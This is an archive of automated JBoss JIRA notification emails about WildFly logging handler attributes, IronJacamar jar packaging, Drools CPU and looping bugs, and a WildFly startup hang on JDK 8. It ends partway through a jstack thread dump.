Message-ID: <JIRA.12501821.1380539274000.7087.1380572822728@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808377#comment-12808377 ] 

James Perkins commented on WFLY-2183:
-------------------------------------

Indeed they are and noted as required.

_Note: Omitted the filter value-type_
{code}
{
    "outcome" => "success",
    "result" => {
        "operation-name" => "add",
        "description" => "Add a new logging handler.",
        "request-properties" => {
            "enabled" => {
                "type" => BOOLEAN,
                "description" => "If set to true the handler is enabled and functioning as normal, if set to false the handler is ignored when processing log messages.",
                "expressions-allowed" => true,
                "required" => false,
                "nillable" => true,
                "default" => true
            },
            "module" => {
                "type" => STRING,
                "description" => "The module that the logging handler depends on.",
                "expressions-allowed" => false,
                "required" => true,
                "nillable" => false,
                "min-length" => 1L,
                "max-length" => 2147483647L
            },
            "class" => {
                "type" => STRING,
                "description" => "The logging handler class to be used.",
                "expressions-allowed" => false,
                "required" => true,
                "nillable" => false,
                "min-length" => 1L,
                "max-length" => 2147483647L
            },
            "named-formatter" => {
                "type" => STRING,
                "description" => "The name of the defined formatter to be used on the handler.",
                "expressions-allowed" => false,
                "required" => false,
                "nillable" => true,
                "alternatives" => ["formatter"],
                "min-length" => 1L,
                "max-length" => 2147483647L
            },
            "properties" => {
                "type" => OBJECT,
                "description" => "Defines the properties used for the logging handler. All properties must be accessible via a setter method.",
                "expressions-allowed" => true,
                "required" => false,
                "nillable" => true,
                "value-type" => STRING
            },
            "formatter" => {
                "type" => STRING,
                "description" => "Defines a pattern for the formatter.",
                "expressions-allowed" => true,
                "required" => false,
                "nillable" => true,
                "default" => "%d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n",
                "alternatives" => ["named-formatter"],
                "min-length" => 1L,
                "max-length" => 2147483647L
            },
            "filter-spec" => {
                "type" => STRING,
                "description" => "A filter expression value to define a filter. Example for a filter that does not match a pattern: not(match(\"JBAS.*\"))",
                "expressions-allowed" => true,
                "required" => false,
                "nillable" => true,
                "alternatives" => ["filter"],
                "min-length" => 1L,
                "max-length" => 2147483647L
            },
            "level" => {
                "type" => STRING,
                "description" => "The log level specifying which message levels will be logged by this logger. Message levels lower than this value will be discarded.",
                "expressions-allowed" => true,
                "required" => false,
                "nillable" => true,
                "default" => "ALL",
                "allowed" => [
                    "ALL",
                    "FINEST",
                    "FINER",
                    "TRACE",
                    "DEBUG",
                    "FINE",
                    "CONFIG",
                    "INFO",
                    "WARN",
                    "WARNING",
                    "ERROR",
                    "FATAL",
                    "OFF"
                ]
            },
            "name" => {
                "type" => STRING,
                "description" => "The handler's name.",
                "expressions-allowed" => false,
                "required" => false,
                "nillable" => true,
                "min-length" => 1L,
                "max-length" => 2147483647L,
                "deprecated" => {
                    "since" => "1.2.0",
                    "reason" => "The name attribute should not be used as the handler's address contains the name."
                }
            },
            "encoding" => {
                "type" => STRING,
                "description" => "The character encoding used by this Handler.",
                "expressions-allowed" => true,
                "required" => false,
                "nillable" => true,
                "min-length" => 1L,
                "max-length" => 2147483647L
            },
            "filter" => {
                "type" => OBJECT,
                "description" => "Defines a simple filter type.",
                "expressions-allowed" => false,
                "required" => false,
                "nillable" => true,
                "alternatives" => ["filter-spec"],
                "deprecated" => {
                    "since" => "1.2.0",
                    "reason" => "Use filter-spec."
                },
                "value-type" => {
                }
        },
        "reply-properties" => {},
        "read-only" => false
    }
}
{code}
                
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:33:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 16:33:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1075)
 ironjacamar-deployers-common.jar contains source files (*.java)
In-Reply-To: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499731.1378101155000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499731.1378101155000.7101.1380573182571@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1075?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808380#comment-12808380 ] 

RH Bugzilla Integration commented on JBJCA-1075:
------------------------------------------------

Fernando Nasser <fnasser at redhat.com> made a comment on [bug 996098|https://bugzilla.redhat.com/show_bug.cgi?id=996098]

Hi Lin, we are now shipping 1.0.21, can you confirm if this fix is included or not?  It it is, can you please set the Target Version and milestone to EAP 6.2.0 and ER3 respectively and move to ON_QA ?  Thanks.
                
> ironjacamar-deployers-common.jar contains source files (*.java)
> ---------------------------------------------------------------
>
>                 Key: JBJCA-1075
>                 URL: https://issues.jboss.org/browse/JBJCA-1075
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Build
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> There are .java files included in ironjacamar-deployers-common.jar:
> {code}[lgao at dhcp-192-139 target]$ unzip -l ironjacamar-deployers-common.jar |grep ".java"
>      8739  08-30-2013 16:30   org/jboss/jca/deployers/DeployersBundle_$bundle.java
>      7944  08-30-2013 16:30   org/jboss/jca/deployers/DeployersLogger_$logger.java
> {code}
> The generated java file should not be packaged in the binary jar.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:35:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 16:35:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-276) Stream mode with CR4-Pre1
 generates rules looping
In-Reply-To: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501742.1380290941000.7113.1380573302566@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808381#comment-12808381 ] 

RH Bugzilla Integration commented on DROOLS-276:
------------------------------------------------

Edson Tirelli <etirelli at redhat.com> changed the Status of [bug 1012933|https://bugzilla.redhat.com/show_bug.cgi?id=1012933] from NEW to ASSIGNED
                
>  Stream mode with CR4-Pre1 generates rules looping
> --------------------------------------------------
>
>                 Key: DROOLS-276
>                 URL: https://issues.jboss.org/browse/DROOLS-276
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR4
>         Environment: Drools 6.0.0.CR4-Pre1
>            Reporter: Richard Bourner
>            Assignee: Mark Proctor
>            Priority: Blocker
>         Attachments: Drools6Stream.zip
>
>
> When in STREAM mode, our rules are looping because of an update.
> The attached example doesn't demonstrate the looping but one rule is fired twice where it should only fire once. We are supposing that the issue is the same.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:42:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 16:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.7128.1380573722994@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2183:
-----------------------------------

    Assignee: Heiko Braun  (was: James Perkins)

    
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:44:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 16:44:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.7134.1380573842747@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808387#comment-12808387 ] 

Brian Stansberry commented on WFLY-2183:
----------------------------------------

Thanks, James. That's the expected metadata then for an attribute that cannot be modified after creation.
                
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:59:02 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Mon, 30 Sep 2013 16:59:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2187) Make module and class
	writable attributes
In-Reply-To: <JIRA.12501878.1380574705184@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501878.1380574705184@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501878.1380574705184.7168.1380574742758@jira02.app.mwc.hst.phx2.redhat.com>

James Perkins created WFLY-2187:
-----------------------------------

             Summary: Make module and class writable attributes
                 Key: WFLY-2187
                 URL: https://issues.jboss.org/browse/WFLY-2187
             Project: WildFly
          Issue Type: Feature Request
          Components: Logging
            Reporter: James Perkins
            Assignee: James Perkins
            Priority: Minor
             Fix For: 8.0.0.CR1


The {{class}} and {{module}} attributes on a {{custom-handler}} should be made writable. If changed the logmanager config API will just need to remove the original handler and add a new one. This may also need to check whether the handler is attached to a logger or other handlers.

If the add/remove won't work from the logmanager, then a {{reload}} should be required.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 17:13:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 17:13:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.7178.1380575582812@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808398#comment-12808398 ] 

RH Bugzilla Integration commented on DROOLS-272:
------------------------------------------------

Edson Tirelli <etirelli at redhat.com> made a comment on [bug 1012140|https://bugzilla.redhat.com/show_bug.cgi?id=1012140]

Just an update, I fixed the 100% CPU problem in a local branch, but that broke a list of other tests. I've been going through each of those tests and fixing the side effects of the code changes. I will keep you posted.
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 17:20:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 17:20:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2187) Make module and class
	writable attributes
In-Reply-To: <JIRA.12501878.1380574705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501878.1380574705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501878.1380574705000.7182.1380576002572@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2187?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808399#comment-12808399 ] 

RH Bugzilla Integration commented on WFLY-2187:
-----------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 1013830|https://bugzilla.redhat.com/show_bug.cgi?id=1013830]

The class and module attributes on a custom-handler should be made writable. If changed the logmanager config API will just need to remove the original handler and add a new one. This may also need to check whether the handler is attached to a logger or other handlers.

If the add/remove won't work from the logmanager, then a reload should be required.
                
> Make module and class writable attributes
> -----------------------------------------
>
>                 Key: WFLY-2187
>                 URL: https://issues.jboss.org/browse/WFLY-2187
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> The {{class}} and {{module}} attributes on a {{custom-handler}} should be made writable. If changed the logmanager config API will just need to remove the original handler and add a new one. This may also need to check whether the handler is attached to a logger or other handlers.
> If the add/remove won't work from the logmanager, then a {{reload}} should be required.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 17:20:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 17:20:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2187) Make module and class
	writable attributes
In-Reply-To: <JIRA.12501878.1380574705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501878.1380574705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501878.1380574705000.7184.1380576002649@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2187?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2187:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013830

    
> Make module and class writable attributes
> -----------------------------------------
>
>                 Key: WFLY-2187
>                 URL: https://issues.jboss.org/browse/WFLY-2187
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>            Priority: Minor
>             Fix For: 8.0.0.CR1
>
>
> The {{class}} and {{module}} attributes on a {{custom-handler}} should be made writable. If changed the logmanager config API will just need to remove the original handler and add a new one. This may also need to check whether the handler is attached to a logger or other handlers.
> If the add/remove won't work from the logmanager, then a {{reload}} should be required.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 17:43:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 17:43:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2003) Failed handling operation
	rollback -- null
In-Reply-To: <JIRA.12500017.1378366299000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500017.1378366299000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500017.1378366299000.7195.1380577382602@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2003?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808400#comment-12808400 ] 

Brian Stansberry commented on WFLY-2003:
----------------------------------------

Is this still an issue?
                
> Failed handling operation rollback -- null
> ------------------------------------------
>
>                 Key: WFLY-2003
>                 URL: https://issues.jboss.org/browse/WFLY-2003
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> Not sure what's causing these, but when operating the web console in domain mode I see planty of these on the console: 
> {noformat}
> [Host Controller] 09:29:23,565 ERROR [org.jboss.as.controller.client] (XNIO-1 task-1) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 59f61bf9 for operation composite at address [] failed handling operation rollback -- null
> {noformat}
> The strange thing is that the management operations return successfully.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 17:47:03 2013
From: jira-events at lists.jboss.org (Arun Gupta (JIRA))
Date: Mon, 30 Sep 2013 17:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2188) Wildfly Alpha 4 not starting
	with JDK 8
In-Reply-To: <JIRA.12501881.1380577602438@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501881.1380577602438@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501881.1380577602438.7228.1380577623611@jira02.app.mwc.hst.phx2.redhat.com>

Arun Gupta created WFLY-2188:
--------------------------------

             Summary: Wildfly Alpha 4 not starting with JDK 8
                 Key: WFLY-2188
                 URL: https://issues.jboss.org/browse/WFLY-2188
             Project: WildFly
          Issue Type: Bug
          Components: Server
    Affects Versions: 8.0.0.Alpha4
         Environment: Mac, JDK 8 b108
            Reporter: Arun Gupta
            Assignee: Jason Greene


Wildfly Alpha 4 is not starting with JDK8. Here is the jstack output:

2013-09-30 14:27:06
Full thread dump Java HotSpot(TM) 64-Bit Server VM (25.0-b50 mixed mode):

"Attach Listener" #32 daemon prio=9 os_prio=31 tid=0x00007fd647897800 nid=0x4a0b waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"DestroyJavaVM" #31 prio=5 os_prio=31 tid=0x00007fd646055800 nid=0x80b waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"Controller Boot Thread" #30 prio=5 os_prio=31 tid=0x00007fd645510800 nid=0x8603 runnable [0x000000011ec48000]
   java.lang.Thread.State: RUNNABLE
	at java.util.concurrent.ConcurrentSkipListMap.findPredecessor(ConcurrentSkipListMap.java:685)
	at java.util.concurrent.ConcurrentSkipListMap.doPut(ConcurrentSkipListMap.java:823)
	at java.util.concurrent.ConcurrentSkipListMap.putIfAbsent(ConcurrentSkipListMap.java:1962)
	at java.util.concurrent.ConcurrentSkipListSet.add(ConcurrentSkipListSet.java:241)
	at org.jboss.as.server.DeployerChainAddHandler.addDeploymentProcessor(DeployerChainAddHandler.java:60)
	at org.jboss.as.server.ServerService.boot(ServerService.java:284)
	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:245)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-16" #29 prio=5 os_prio=31 tid=0x00007fd64505c000 nid=0x8403 waiting on condition [0x000000011e645000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-15" #28 prio=5 os_prio=31 tid=0x00007fd645054000 nid=0x8203 waiting on condition [0x000000011e542000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-14" #27 prio=5 os_prio=31 tid=0x00007fd645053800 nid=0x8003 waiting on condition [0x000000011e43f000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-13" #26 prio=5 os_prio=31 tid=0x00007fd6454d8000 nid=0x7e03 waiting on condition [0x000000011e33c000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-12" #25 prio=5 os_prio=31 tid=0x00007fd645133000 nid=0x7c03 waiting on condition [0x000000011e239000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-11" #24 prio=5 os_prio=31 tid=0x00007fd645130000 nid=0x7a03 waiting on condition [0x000000011e136000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-10" #23 prio=5 os_prio=31 tid=0x00007fd645294800 nid=0x7803 waiting on condition [0x000000011e033000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-9" #22 prio=5 os_prio=31 tid=0x00007fd6442fc800 nid=0x7603 waiting on condition [0x000000011df30000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-8" #21 prio=5 os_prio=31 tid=0x00007fd644351800 nid=0x7403 waiting on condition [0x000000011de2d000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-7" #20 prio=5 os_prio=31 tid=0x00007fd6454bc000 nid=0x7203 waiting on condition [0x000000011dd2a000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
